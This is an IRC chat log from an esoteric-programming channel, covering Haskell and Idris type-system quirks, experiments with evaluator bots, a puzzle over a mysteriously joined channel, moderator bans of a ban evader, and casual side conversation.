11:55:48 <ais523> a nicely inconsistent constant right there :-)
11:55:50 <oerjan> (there have of course been occasional bugs in extensions to the type system)
11:56:58 <ais523> hmm, Haskell needs a "defined" too, which returns an arbitrary value and can take any inhabited type
11:57:12 <ais523> I'm going to use it to solve the halting probem
11:57:43 <Jafet> Isabelle/HOL has such a term, but it's named "undefined"
11:58:19 <oerjan> the GeneralizedNewtypeDeriving [sp?] extension just last year had its bugginess fixed after several years of being inconsistent.
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12:03:37 <oerjan> oh i tried "newtype Fnord a = Fnord a deriving Monad" to get ghci to tell me what the extension name was, but that didn't work because it didn't have the precise right form
12:04:00 <oerjan> (newtype Fnord a = Fnord (Maybe a) deriving Monad worked)
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12:05:24 <Jafet> Try adding instance Monad a
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12:05:54 <oerjan> i _suspect_ that may be overlapping.
12:06:51 <Jafet> Unfortunately, you cannot refuse to import other instances
12:08:42 <oerjan> after enabling enough extensions to make it _try_, it gives "<interactive>:43:36: Can't make a derived instance of `Monad Fnord' (even with cunning newtype deriving): cannot eta-reduce the representation type enough In the newtype declaration for `Fnord' "
12:09:35 <oerjan> i suppose they may not have been trying very hard to make that case work.
12:10:14 <Jafet> I wonder if RebindableSyntax will make ghc try to derive an instance for some other class named Monad
12:10:42 <Jafet> They probably wouldn't have tried to make that work, either.
12:11:54 <oerjan> Jafet: um GeneralizedNewtypeDeriving doesn't know anything specific about Monad, i think, so just hiding the Prelude identifier should be enough...
12:13:35 <oerjan> it's just a generic way of "inserting" newtype conversions for whatever class you want.
12:15:13 <oerjan> with some newly added restrictions that the newtype can only appear in "parametric" roles, or thereabouts.
12:15:37 <oerjan> (actually i'm not sure if that's in the latest haskell platform yet)
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14:29:48 * oklopol has spent half a day proving that a function is continuous
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15:18:16 <oerjan> oklopol: as long as it wasn't a whole day to prove it semi-continuous
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17:55:25 <ion> Käskell Kärry
17:55:45 <HackEgo> breusnecoin movecoin justrovecoin tyncoin madbalmoicoin brainfuckcoin flumpcoin resolcoin shanemcoin ypsilacoin arcacoin limpcoin bestflcoin discoin menshacoin plumpcoin graticoin face1.0coin secitcoin maniccoin
17:56:04 <int-e> this will not fly.
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18:23:34 <HackEgo> words ${1---eng-1M --esolangs 20} | sed -re 's/( |$)/coin\1/g'
18:24:32 <HackEgo> 98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf
18:24:42 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/98076
18:25:18 <FireFly> (actually, I were looking for the link to the repo web interface)
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19:06:27 <HackEgo> /* \ UTF-to-VLQ \ Public domain \ */ \ \ #include <stdio.h> \ #include <stdlib.h> \ \ #ifdef _WIN32 \ #include <fcntl.h> \ #endif \ \ typedef unsigned char byte; \ typedef unsigned long long ULL; \ \ typedef ULL(*in_func_t)(void); \ typedef void(*out_func_t)(ULL); \ \ char in_mode; \ char out_mode; \ int options[128]; \ ULL translation[
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19:45:39 <HackEgo> cat: ate: No such file or directory \ cat: the: No such file or directory \ chirp
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20:32:37 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
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22:16:26 <Taneb> I had an idea for a C obfuscation idea but it does not really work
22:19:48 <kmc> http://i.imgur.com/sM8lCRb.png HTML5 tokenizer state graph
22:20:00 <kmc> not including tokenizer state changes caused by the tree builder
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22:27:59 <Taneb> Using scanf, &&, and || to make a fun parser
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00:14:40 <Sgeo> oerjan: how did I end up in a channel that has oerjan in the name?
00:23:52 <Sgeo> It's definitely connected to you, or someone trying to make victims think it's connected to you
00:24:08 <Sgeo> It's #!oerjan@sprocket.nvg.ntnu.no
00:24:34 <Sgeo> And I have not the faintest idea why or how it exists or I landed there
00:25:08 <oerjan> did it happen when you joined some other channel?
00:26:06 <Sgeo> It... may have? I don't know, it happened when I opened my IRC client
00:26:11 <Sgeo> Or some time after
00:26:46 <Sgeo> Actually, seems like some time before, like I was logging, but didn't realize I was there before
00:27:15 <oerjan> Sgeo: can you check if you are banned in some channel you usually join?
00:27:37 <oerjan> also given the timing, i have one possible suspect.
00:27:43 -!- ChanServ has set channel mode: +o oerjan.
00:28:07 <Sgeo> #acehack but that's been like that for a while
00:28:07 -!- oerjan has set channel mode: -b *!*siruf@unaffiliated/motley$##fix_your_connection.
00:28:08 -!- ChanServ has set channel mode: +o elliott_.
00:28:13 -!- elliott_ has set channel mode: +b haggy!*@*.
00:28:16 -!- elliott_ has kicked haggy ban evasion.
00:28:21 -!- elliott_ has set channel mode: +b *!*perdito@*.
00:28:31 -!- elliott_ has set channel mode: +b $a:perdito.
00:29:15 <Sgeo> Hmm, might be others tht I'm not sure if I attempt to autojoin
00:29:23 <elliott_> oerjan: thank you for opping to make me notice that.
00:29:26 -!- elliott_ has set channel mode: -o elliott_.
00:29:52 <Sgeo> Don't see anything else banny in Freenode
00:29:57 <Sgeo> The server tab
00:33:27 -!- oerjan has set channel mode: -o oerjan.
00:34:11 <oerjan> Sgeo: are you on any channel on which sirus has ops?
00:34:25 <Sgeo> I don't know who sirus is
00:34:39 <oerjan> someone i banned yesterday
00:34:45 <oerjan> because they kept quitjoining
00:34:49 <Sgeo> Then again, I barely know who's in most of the channels
00:35:08 <Sgeo> siruf is in #elixir-lang
00:35:48 <oerjan> hm that only has a single ban
00:35:56 <oerjan> which is not relevant.
00:36:26 <Sgeo> siruf is who you unbanned just before
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00:36:48 <elliott_> if you have server window logs they will probably contain the answer.
00:36:51 <oerjan> yes, i somehow mistyped it everywhere else
00:37:01 <Sgeo> If it helps, Ienpw_III was there too
00:37:40 <oerjan> Sgeo: well elliott_ is right, look in your logs to see what messages happened before you entered the channel
00:38:56 <Sgeo> Don't see oerjan in the server logs anywhere except when I did the whois
00:39:14 <oerjan> well you must have entered the channel at one point.
00:39:26 <Sgeo> I don't think Quassel lists that in the server window
00:39:44 <Sgeo> [19:57:08] * Channel #!oerjan@sprocket.nvg.ntnu.no created on 2014-03-10 22:21:18 UTC
00:39:52 <oerjan> and it's not messages with "oerjan" that are interesting, it's what other channels your client was _trying_ to join when it happened.
00:39:53 <Sgeo> I have logs from 3/10 in there
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00:41:00 <oerjan> of course it's also possible you joined it through some hilarious mistyping :P
00:41:21 <Sgeo> Seems like somehow it's related to ##nomic
00:41:28 <Sgeo> Another ##nomic user in there, you're in there
00:41:29 <oerjan> well i guess siruf is in the clear, then, the channel happened before.
00:41:55 <oerjan> doesn't have much ban there either.
00:42:00 <oerjan> maybe it was an invite?
00:42:28 <Sgeo> Hmm... do I autojoin invites?
00:42:37 <Sgeo> Someone invite me somewhere?
00:43:14 <oerjan> i'm nowhere else, so don't ask me
00:43:27 <oerjan> well except ##nomic where i don't have ops
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00:44:51 <Sgeo> The invite ends up in the server tab, not forced. Can invites be forced?
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00:45:44 <oerjan> but channel forwards are, of course
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00:46:01 <oerjan> whether through bans or otherwise.
00:46:21 <oerjan> well unless there's an option not to, could be
00:46:57 <Sgeo> I'm automatically forwarded to #nethack4 every day, but that's not atypical
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00:50:31 <Sgeo> * Channel #!oerjan@sprocket.nvg.ntnu.no created on 2014-03-10 22:21:18 UTC
00:50:35 <Sgeo> Is the exact timestamp
00:50:54 <oerjan> that's not what i saw when i joined
00:51:26 <oerjan> maybe something went horribly wrong during a netsplit
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00:53:08 <oerjan> nothing interesting happened in #esoteric at that time, fwiw. you joined nearly an hour later.
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00:55:55 <oerjan> Sgeo: if you have #esoteric on autojoin, it seems unlikely that you would have joined that channel at the time it was created but not #esoteric?
00:56:27 <Sgeo> [19:57:08] --> Sgeo (~quassel@ool-44c2df0c.dyn.optonline.net) has joined #!oerjan@sprocket.nvg.ntnu.no
00:56:27 <Sgeo> [19:57:08] *** Mode #!oerjan@sprocket.nvg.ntnu.no +ns by dickson.freenode.net
00:56:27 <Sgeo> [19:57:08] * Channel #!oerjan@sprocket.nvg.ntnu.no created on 2014-03-10 22:21:18 UTC
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00:56:43 <Sgeo> Ienpw_III may have been there before me
00:57:12 <oerjan> what timezone is that 19:57
00:58:43 <Sgeo> EDT (near daylight savings border though, mayve)
00:59:24 <HackEgo> date: invalid date `19:57 EDT'
00:59:49 <oerjan> stupid americans think people understand letter codes
00:59:49 <Sgeo> `date 19:57 EST
00:59:49 <HackEgo> date: invalid date `19:57 EST'
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01:00:52 <oerjan> Sgeo: um was this on the 10th?
01:01:46 <HackEgo> date: invalid date `20:00 PDT'
01:02:04 <HackEgo> date: invalid date `8pm PDT'
01:02:53 <oerjan> sn0wboard: i vaguely suspect it's complaining that it's not containing, like, a _date_.
01:03:36 <sn0wboard> you need to know where it's 20:00 now?
01:03:51 <oerjan> Sgeo: well if that was on the 10th then it was nearly 40 minutes _after_ you joined.
01:04:27 <oerjan> sn0wboard: no, i am trying to find out where those times Sgeo are referring to are in the #esoteric logs, although i'm not sure we're even on the same date.
01:05:16 <oerjan> Sgeo: was that 19:57 on the 10th or today?
01:05:52 <oerjan> because i am, as should be obvious, trying to find out if anything interesting happened at the point in time when you _first_ entered the channel.
01:06:11 <oerjan> and getting slightly impatient in the process.
01:08:09 <oerjan> i should definitely never go into tech support, i'd be a serial killer in days.
01:08:42 <oerjan> 23:57:42:<Sgeo> I remember you talking about Smalltalk inspiring Feather
01:09:01 <oerjan> that's the only thing in the #esoteric logs at that minute
01:09:59 <oerjan> hmph i was there at the time but i don't keep ##nomic logs
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01:10:17 <oerjan> oh well. the mystery remains.
01:12:08 <Sgeo> Nothing interesting there at least as far as I can see
01:14:43 <sn0wboard> seems you guys are bored.. though that impression could be deceiving as well
01:15:17 <oerjan> sn0wboard: well you didn't catch the beginning of the mystery
01:16:00 <oerjan> apparently Sgeo somehow found himself in a channel named #!oerjan@sprocket.nvg.ntnu.no and we have no idea why
01:16:12 <oerjan> i certainly didn't make it. i think.
01:18:10 <sn0wboard> see! when knowledge increase wonder deepens
01:18:40 <sn0wboard> welly well..didn't mean to disturb drwatson
01:19:34 <oerjan> don't have any more ideas really. i took a look at the raw #esoteric channel logs, nothing there either.
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01:37:47 <elliott_> sn0wboard: why are you ban evading?
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01:53:09 -!- ChanServ has set channel mode: +o elliott_.
01:54:04 -!- elliott_ has set channel mode: +b *!*sn0wboard@*.
01:54:23 -!- elliott_ has kicked sn0wboard you have carefully ensured you are never going to get unbanned, please go away forever.
01:55:50 <elliott_> is there any easy way to query all IP blocks owned by a certain ISP?
01:55:56 <elliott_> I'd like to ban his temporarily.
01:56:08 <elliott_> or at least a certain AS thingy
01:57:35 <Sgeo> http://en.wikipedia.org/wiki/Autonomous_system_(Internet) I assume
01:59:48 <elliott_> whatever, I'll just ban him the next time too.
01:59:50 -!- elliott_ has set channel mode: -o elliott_.
02:00:05 <elliott_> no idea what he's getting out of this.
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02:59:16 <Sgeo> kmc: what do you think about Idris (if I haven't asked already)?
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03:22:04 <kmc> sounds cool, haven't had time to learn it
03:22:21 <kmc> if I learn a new language for fun in the near future, it'd probably be Idris
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03:24:14 <luserdroog> Lukasiewicz Logic Interpreter in PS. https://gist.github.com/luser-dr00g/9519896
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03:25:39 <luserdroog> Lukasiewicz appears to be the "root" of all algebraic computation on computers.
03:27:45 <Bike> you know, many plants in fact have multiple roots
03:30:28 <luserdroog> Hm. you're right. Banyan trees, for one.
03:31:06 <luserdroog> the 1962 APL book describes multiply-rooted tree also.
03:33:45 <Bike> by the way, new sort algorithm! has applications to security or some shit http://arxiv.org/abs/1403.2777
03:39:38 <luserdroog> I'm reading nearby http://arxiv.org/pdf/1309.7584.pdf
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04:05:58 <Sgeo> Trying to figure out if I need to be too concerned about salt intake
04:06:05 <Sgeo> Different groups disagree
04:06:39 <Sgeo> At least I'm pretty sure with, e.g. gluten, that there's no actual concern for people who don't specifically have gluten issues
04:06:42 <Bike> i haven't seen these groups and i have no serious reason to believe they're disagreeing. ount me in on the agreement side
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04:07:56 <chaiomanot> Sgeo, i imagine there are quite a few things to worry about before salt
04:08:06 <chaiomanot> including gluten, which is almost always bad
04:08:17 <Bike> or what if it's a salt of radium?
04:08:28 <Sgeo> Bike: http://healthland.time.com/2012/11/05/why-even-healthy-people-should-watch-their-salt-intake/ American Heart Association, US Department of Agriculture
04:08:35 <Bike> it could happen, people
04:09:53 <Bike> Sgeo: looks like both are recommending less salt.
04:19:22 <luserdroog> Salt figures prominently in Lovecraft's resurrection stories.
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09:43:12 <Jafet> So instead of journals telling us about cool new algorithms, we now have irc (peer review sold separately)
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10:00:36 <oklopol> the world would be a much better place if peer review was sold separately
10:03:18 <Phantom_Hoover> as in, you buy a journal and pay extra for it to be peer reviewed
10:06:09 <Bike> i hear the new thing is post-publication review, anyway
10:09:01 <Jafet> At the moment, peer reviewers pay for peer review.
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10:11:52 <Jafet> Huh, I received an email which, according to the headers, was sent 12 hours ago.
10:17:16 <boily> perfectly normal. that just means you are from yesterday.
10:23:45 <boily> I think it's prime time to dust my mapole. haven't had a good occasion to use it lately...
10:24:13 * boily makes a few practice swings, then *THWACKS* Jafet happily ^^
10:27:03 <Jafet> When you mapole someone hard enough, they ooze mapole syrup.
10:36:19 <Jafet> Bike: “Using this construction results in a running time for Zig-zag Sort of 19600 n log n, in terms of compare-exchange operations.”
10:40:09 <Jafet> Expander graphs aer cool, they hide in big-O and doesn't afraid of anything
10:42:21 <boily> fungot: stop contaminating people. Jafet sounds like you.
10:42:21 <fungot> boily: holy water by boiling the hell out of spain. one of a breakthrough. somehow the killing of the gods, by terry pratchett)
10:42:39 <boily> oh, so that's how they make holy water!
10:43:31 <boily> `` echo 'Holy water is water made by boiling the hell out of Spain.' >wisdom/'holy water'
10:43:58 <HackEgo> cat: bin/\`: No such file or directory
10:45:17 <Jafet> That is a disingenuous slight on fungot. I don't even know any transcripts from European parliament sessions.
10:45:17 <fungot> Jafet: they say that a black sheep has 3 bags full of holes; with the monster was responsible for endless tragedies of all the gods get angry if you can be tamed with carrots? salmon gets thinner at both ends." ( macbeth, by patrick mcgoohan)
10:46:19 <boily> fungot: does calamari get squigglier at both ends?
10:46:19 <olsner> hmm, salmon does get thinner at both ends
10:46:19 <fungot> boily: they say that a wand in a bag. ( bulfinch's mythology, by the roadside for ninety-nine years and a rock mole: a japanese stabbing knife.
10:48:00 <olsner> fungot: cuttlefish then?
10:48:00 <fungot> olsner: they say that a hacker who ate too fast and choked to death: the oxford english dictionary is quite sure which. and the lower world to hades. poseidon is associated in many places, not knowing who he was, plays an important part in the fires of hell and many more names besides. ( the fellowship of the ring, by w.b. yeats)
10:48:31 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack* oots pa qwantz sms speeches ss wp youtube
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10:48:50 <metasepia> CYUL 131030Z 34012G18KT 3SM -SN DRSN VV015 M14/M17 A2963 RMK SN8 SLP035
10:49:10 <fungot> Selected style: enron (subset of the Enron email dataset)
10:49:22 <Jafet> Now fungot can get down to business.
10:49:23 <fungot> Jafet: of the going rate schedule) was a better and i were them) 6-1 and looking to get on the stack of mail will be best to wait. rep. other rate changes capping the market.
10:50:08 <Jafet> Two parentheses now into the OUT tray. Marvellous efficiency.
10:52:06 <boily> two unbalanced parentheses, you mean. fungot doesn't believe in protection of the environment.
10:52:07 <fungot> boily: best of all, the capacity..... .a bunch of construction within the central and eastern gas regions will be for the physical for physical and power physical to a more complete on that).
10:53:05 <olsner> fungot: bzzt, even more wrong parentheses... get a grip
10:53:05 <fungot> olsner: let me know of any of the ect legal dept of commerce for lehman and enron
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10:55:24 <boily> the stuff you learn about bananas → http://www.symmetrymagazine.org/breaking/2009/07/23/antimatter-from-bananas
10:59:10 <olsner> https://en.wikipedia.org/wiki/Banana_equivalent_dose
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11:33:20 <fungot> Selected style: oots (Order Of The Stick)
11:33:27 <fungot> FireFly: would i be carrying our monthly" says that's what my dad and i sneak by any monsters and a whole lot of us who would be surprised what people will believe when they've all sucked" was, in that case, i will begin tracking them now by " age old" she means, " after i die".
11:34:05 <FireFly> Hm, the oots wordset seems subpar for fungot responses
11:34:05 <fungot> FireFly: there, that ought to be good. and it was wrong, so no, that is my position, and then, i blacked out. when the big worm showed me, and they've all sucked" was, in my opinion.
11:37:43 <fizzie> Possibly the paramaters have been suboptimal.
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12:36:18 <oerjan> <Bike> or what if it's a salt of radium? <-- oh come on, who would be putin radioactive elements in food
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13:08:30 <oerjan> did google just start using a terrible font for their search results
13:08:54 <ais523> if website font selection were client-side, we wouldn't have this problem!
13:09:16 <olsner> oerjan: yes, I think so
13:24:12 <oerjan> ok darths & droids, i didn't see _this_ coming.
13:25:22 <fizzie> "font-family: arial, sans-serif;"
13:25:34 <fizzie> Some pages seem to indicate they've merely changed font sizes.
13:25:41 <fizzie> And removed link underlining and such.
13:29:25 <oerjan> admittedly, that _is_ par for the course in d&d.
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13:35:50 <oerjan> it's just that somehow the new google style makes it take longer for me to see what i want in the search results...
13:36:10 <fizzie> It's probably just that your old-man eyes aren't any good for the modern webs.
13:36:19 <oerjan> hopefully this will pass.
13:36:55 <oerjan> fizzie: well, that too.
13:36:55 <fizzie> /. "Physicist Proposes a New Type of Computing" sounds Wolframesque.
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13:38:01 <oerjan> that reminds me of that tao navier-stokes thing, but he's a mathematician.
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13:40:41 <oerjan> today's darths & droids also has a nice conduit table
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14:28:24 <fizzie> I like that "let's list all possible operators" error.
14:29:37 <oerjan> TIL stackoverflow doesn't allow you to simply correct a syntax error: edits must be at least six characters.
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14:33:45 <ais523> hmm, we have two bots on the same prefix?
14:34:02 <ais523> anyone know any good Idris/Haskell polyglots?
14:34:21 <ais523> oerjan: haha, that's probably an attempt to stop people farming edits for karma or something
14:34:28 <ais523> does it let you edit it twice as a workaround?
14:35:42 <coppro> I haven't looked at Idris in a while, thanks for reminding me
14:36:55 <oerjan> ais523: i don't know, but my edit needs to be approved anyhow (and with the snark i ended up adding to make it go through, might not even be >:) )
14:37:26 <ais523> I don't know Idris at all, but I vaguely remember it's functional
14:37:39 <fizzie> ais523: Incidentally, in case you haven't noticed, idris-ircslave replies are also full of color.
14:38:00 <ais523> nor could I, without opening up the raw view window or using a different client
14:38:07 <ais523> or, I guess, turning color back on
14:38:08 <fizzie> That's a red "2" and a blue "Integer" there.
14:39:03 <ais523> not very interesting though
14:39:47 <fizzie> Something that does two different but reasonable things would be nicer.
14:40:35 <ais523> hmm, Idris has very Haskell-like syntax, apparently
14:41:26 <ais523> so trying to cause the programs to be implemented differently will be hard
14:42:23 <ais523> err, evaluated differently
14:42:47 <ais523> Idris is strict and Haskell is lazy, but that's hard to observe in the absence of side effects
14:43:21 <fizzie> Yes, well, it sounds rather like the C and C++ different-result polyglottery, where the devil is also in the details.
14:45:32 <ais523> but I don't know any of the details of Idris, and very few of the details of Haskell
14:45:35 <Jafet> > "> " ++ show "Hello, world!"
14:45:51 <Jafet> > text $ "> " ++ show "Hello, world!"
14:46:08 <ais523> Jafet: heh, that'd be an amusing botloop if it worked
14:46:24 <ais523> although lambdabot added a leading space, it's well aware of such tricks
14:46:37 <ais523> > putStrLn "Hello, world!"
14:46:37 <idris-ircslave> MkIO (\w => prim_io_bind (mkForeignPrim (FFun "putStr" [FString] FUnit) "Hello, world!\n" w) (\x => prim__IO x)) : IO ()
14:46:54 <ais523> ooh, Idris has a non-opaque IO type
14:47:12 <ais523> a little disappointing that neither bot actually ran the IO action once it was produced, though
14:48:03 <fizzie> To aid our color-challenged viewers: that's a red "MkIO", a pink "w", a bright green "prim_io_bind", a red "FFun .. \n", a pink "w" again, a pink "x", a red "prim__IO", a pink "x", and a blue "IO ()"; with all the rest in default color.
14:48:11 <fizzie> It's like having a permanent `rainwords, almost.
14:49:05 <ais523> fizzie: do you see why I turned color off now? :-)
14:49:06 <elliott_> fizzie: it's actually a red "FFun ... \n\""
14:49:19 <elliott_> and it's, in my opinion, more purple than pink.
14:49:20 <ais523> although the original cause was a bot that was outputting in black, using mIRC colored backgrounds
14:49:29 <ais523> and thus produced output that was unreadable outside mIRC
14:49:50 <ais523> elliott_: you may be using a different client or terminal than fizzie
14:49:56 <ais523> as in, it may actually be purple for you and pink for him
14:50:24 <fizzie> elliott_: Yes, I made a mistake there; though looking closer, it seems to be separately a red "FFun .. FUnit" followed by a red "\"Hello, world!\\n\"".
14:50:45 <elliott_> your prize is hosting the wiki
14:51:01 <fizzie> I don't like this game show.
14:51:38 <Jafet> > instance Show IO where show _ = "> hi"
14:51:39 <lambdabot> <hint>:1:1: parse error on input `instance'
14:51:53 <ais523> well, you managed to produce a different error message in the two bots
14:52:48 <ais523> huh, Idris knows how to optimize addition into not being unary
14:53:00 <ais523> one of my colleagues at work was working on that for Agda
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14:55:26 <elliott_> it's probably just special-cased.
14:55:54 <Jafet> It doesn't matter with agda, because no one expects to run agda code.
14:56:33 <ais523> I guess explaining agda to programmers is like explaining game semantics to economists
14:56:45 <ais523> the latter is a fun explanation, really
14:57:14 <ais523> "it's sort-of like how games work in economics, but you know everyone's strategy in advance rather than trying to work it out, and you don't really care who wins, what you're interested in is whether the game will end at all"
14:59:18 <idris-ircslave> Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
14:59:19 <lambdabot> No instance for (GHC.Show.Show t0)
14:59:19 <lambdabot> arising from a use of `M857856901971536584611453.show_M8578569019715365846...
14:59:19 <lambdabot> The type variable `t0' is ambiguous
14:59:19 <lambdabot> Possible fix: add a type signature that fixes these type variable(s)
14:59:19 <lambdabot> Note: there are several potential instances:
14:59:56 <Jafet> I always wonder if GHC actually used that many type variables internally.
15:00:58 <ais523> bleh, ** does something in the two languages, but I'm not sure we can construct something that's both an Idris predicate and a Haskell number
15:01:05 <ais523> *something completely different
15:01:59 <Jafet> elliott: Isabelle/HOL manages to use binary without too much special-casing (the binary rewrite rules for nat are tagged "[code]")
15:02:30 <Jafet> Of course, numbers are still represented as church numerals, because who cares about constant factors.
15:03:05 -!- variable has quit (Excess Flood).
15:03:12 <ais523> is there anything lambdabot will interpret as numeric, that takes an argument?
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15:03:37 <idris-ircslave> (input):1:3:Can't infer type for (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) (|(|fromInteger 2 , fromInteger 2 , |) , 2 , 2 , 2 , 2 , 2 , 2 , |)
15:03:37 <lambdabot> (GHC.Integer.Type.Integer -> GHC.Integer.Type.Integer ->...
15:03:37 <lambdabot> arising from the ambiguity check for `e_1123'
15:03:37 <lambdabot> from the context (GHC.Num.Num (a -> a1 -> t),
15:03:43 <Jafet> That used to work.
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15:04:26 <Jafet> @let instance Num a => Num (a -> a) where fromInteger = const
15:04:27 <lambdabot> bound by the instance declaration at .L.hs:170:10-32
15:04:27 <lambdabot> `a' is a rigid type variable bound by
15:04:43 <Jafet> @let instance Num a => Num (a -> a) where fromInteger = const . fromInteger
15:04:44 <lambdabot> No explicit method or default declaration for `+'
15:04:44 <lambdabot> In the instance declaration for `Num (a -> a)'
15:04:53 <idris-ircslave> (input):1:3:Can't infer type for (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |) (|(|fromInteger 2 , fromInteger 2 , |) , 2 , 2 , 2 , 2 , 2 , 2 , |)
15:04:53 -!- nooodl has joined.
15:04:53 <lambdabot> (GHC.Integer.Type.Integer -> GHC.Integer.Type.Integer ->...
15:04:53 <lambdabot> arising from the ambiguity check for `e_1123'
15:04:53 <lambdabot> from the context (GHC.Num.Num (a -> a1 -> t),
15:05:51 <ais523> I like Idris's error messages, not because they're useful, but because they hint at insane internal implementation details
15:06:08 -!- variable has joined.
15:06:20 <Jafet> @let instance Num a => Num (a -> a) where { fromInteger = const . fromInteger; (+)=(+); (-)=(-); (*)=(*); abs=abs; signum=signum }
15:06:29 <idris-ircslave> (input):1:3:Can't infer type for (|(|fromInteger 0 , fromInteger 0 , |) , 0 , 0 , 0 , 0 , 0 , 0 , |) (|(|fromInteger 1 , fromInteger 1 , |) , 1 , 1 , 1 , 1 , 1 , 1 , |)
15:06:29 <lambdabot> Could not deduce (GHC.Num.Num (GHC.Integer.Type.Integer -> t))
15:06:30 <lambdabot> arising from the ambiguity check for `e_101'
15:06:30 <lambdabot> from the context (GHC.Num.Num (a -> t), GHC.Num.Num a)
15:06:30 <lambdabot> bound by the inferred type for `e_101':
15:06:30 <lambdabot> (GHC.Num.Num (a -> t), GHC.Num.Num a) => t
15:07:18 <Jafet> > (0 :: Integer -> Integer) 1
15:07:18 <idris-ircslave> (input):1:27:Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
15:08:37 <Jafet> idris seems to have some sort of need to store each integer eight times.
15:08:44 <ais523> type annotations aren't going to work for this, Idris uses : and Haskell uses ::
15:09:14 <idris-ircslave> Can't disambiguate name: Data.HVect.Nil, Prelude.List.Nil, Data.Vect.Quantifiers.Nil, Prelude.Vect.Nil
15:09:15 <lambdabot> Expecting one more argument to `[]'
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15:09:54 <lambdabot> Could not deduce (GHC.Real.Fractional (GHC.Types.Double -> t))
15:09:55 <lambdabot> arising from the ambiguity check for `e_10066'
15:09:55 <lambdabot> from the context (GHC.Real.Fractional (a -> t),
15:09:55 <lambdabot> bound by the inferred type for `e_10066':
15:09:56 <ais523> sadly, neither seems to accept [] as the name of the type of an empty list
15:10:36 <Jafet> Surely that's () (up to isomorphism)
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15:11:53 <ais523> no, () is an empty tuple
15:11:59 <idris-ircslave> Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
15:12:03 <lambdabot> Couldn't match expected type `[()]' with actual type `()'
15:12:11 <ais523> and ::/: care about lists
15:12:25 <ais523> although Idris has like five different sorts of lists and idris-ircslave seems unable to distinguish between them
15:12:28 <idris-ircslave> Can't disambiguate name: Data.HVect.::, Prelude.List.::, Data.Vect.Quantifiers.::, Prelude.Stream.::, Prelude.Vect.::
15:14:38 <Jafet> Advanced dependently typed language, cutting edge PLT, compiles to javascript, but appears unable to get syntax scoping right
15:14:48 <Jafet> I have reservations
15:18:23 <Melvar> Jafet: This is what you get when you overload and leave off a top-level type signature.
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15:18:55 <ais523> yeah, it's basically a case of an ambiguous overload
15:19:04 <Melvar> [,] just desugars to :: and Nil.
15:19:11 <lambdabot> <hint>:1:1: parse error on input `:'
15:19:16 <idris-ircslave> Data.Vect.Quantifiers.:: : (P x) -> (All P xs) -> All P (x :: xs)
15:19:16 <idris-ircslave> Prelude.Stream.:: : a -> (Lazy (Stream a)) -> Stream a
15:19:16 <lambdabot> <hint>:1:1: parse error on input `:'
15:19:35 <lambdabot> Not in scope: `with'Not in scope: data constructor `Vect'
15:19:59 <Melvar> < ais523> I like Idris's error messages, not because they're useful, but because they hint at insane internal implementation details – On that note:
15:20:37 <Melvar> > S (| "foo", Z, True |)
15:20:38 <lambdabot> <hint>:1:4: parse error on input `|'
15:20:49 <Jafet> So [1,2,3] is handled by normal syntax rules?
15:21:10 <Melvar> No, [,] is built-in sugar.
15:21:13 <ais523> I haven't figured out what (| |) does yet, is it basically "out of these values, choose the one that has the correct type"?
15:21:20 <Melvar> ais523: Yes, just that.
15:21:29 <ais523> OK, then I have figured it out :-)
15:21:37 <lambdabot> <hint>:1:2: parse error on input `|'
15:21:46 <ais523> oh, "any one that has the correct type"
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15:22:15 <lambdabot> No instance for (Data.Typeable.Internal.Typeable a0)
15:22:16 <lambdabot> arising from a use of `M299318430146378453612262.show_M2993184301463784536...
15:22:16 <lambdabot> The type variable `a0' is ambiguous
15:22:16 <lambdabot> Possible fix: add a type signature that fixes these type variable(s)
15:22:16 <lambdabot> Note: there are several potential instances:
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15:23:19 <lambdabot> Not in scope: data constructor `S'Not in scope: data constructor `Z'
15:23:51 <ais523> Melvar: I'm reading the tutorial: is there any easy way to desugar a proof back into a program?
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15:25:43 <ais523> hmm, that's disappointing
15:26:08 <Melvar> I mean, it generates a term internally, but I don’t know of any way to get it out.
15:26:09 <oerjan> `addquote <elliott_> you win this round. <elliott_> your prize is hosting the wiki <fizzie> I don't like this game show.
15:26:11 <HackEgo> 1176) <elliott_> you win this round. <elliott_> your prize is hosting the wiki <fizzie> I don't like this game show.
15:26:35 <ais523> yeah, it's obviously doing that internally, a way to dump the desugared form into the program seems pretty useful
15:29:06 <Jafet> What is a proof, just a term of a given type?
15:29:19 <Melvar> ais523: That’s not really just “desugared”, it’s “delaborated”.
15:29:43 <ais523> Idris has a "proof { trivial; }" syntax
15:29:48 <lambdabot> <hint>:1:16: parse error on input `;'
15:30:04 <ais523> that desugars into a term of a given type
15:30:27 <ais523> > proof { trivial; } : (Bool -> Bool)
15:30:28 <lambdabot> <hint>:1:16: parse error on input `;'
15:30:33 <ais523> err, not like that though
15:30:40 <Melvar> ais523: No type annotation syntax.
15:31:06 <ais523> I assumed : was type annotation, but it's type /declaration/?
15:31:07 <HackEgo> [U+21B5 DOWNWARDS ARROW WITH CORNER LEFTWARDS]
15:31:10 <ais523> that's probably workaroundable
15:31:22 <lambdabot> <hint>:1:1: parse error on input `:'
15:31:30 <Melvar> ↑ That’s what you usually use.
15:31:37 <ais523> ah, and the workaround's already been written
15:31:52 <ais523> > the (Bool->Bool) (proof {trivial;})
15:31:53 <lambdabot> <hint>:1:33: parse error on input `;'
15:32:10 <ais523> trivial only proves things equal to each other
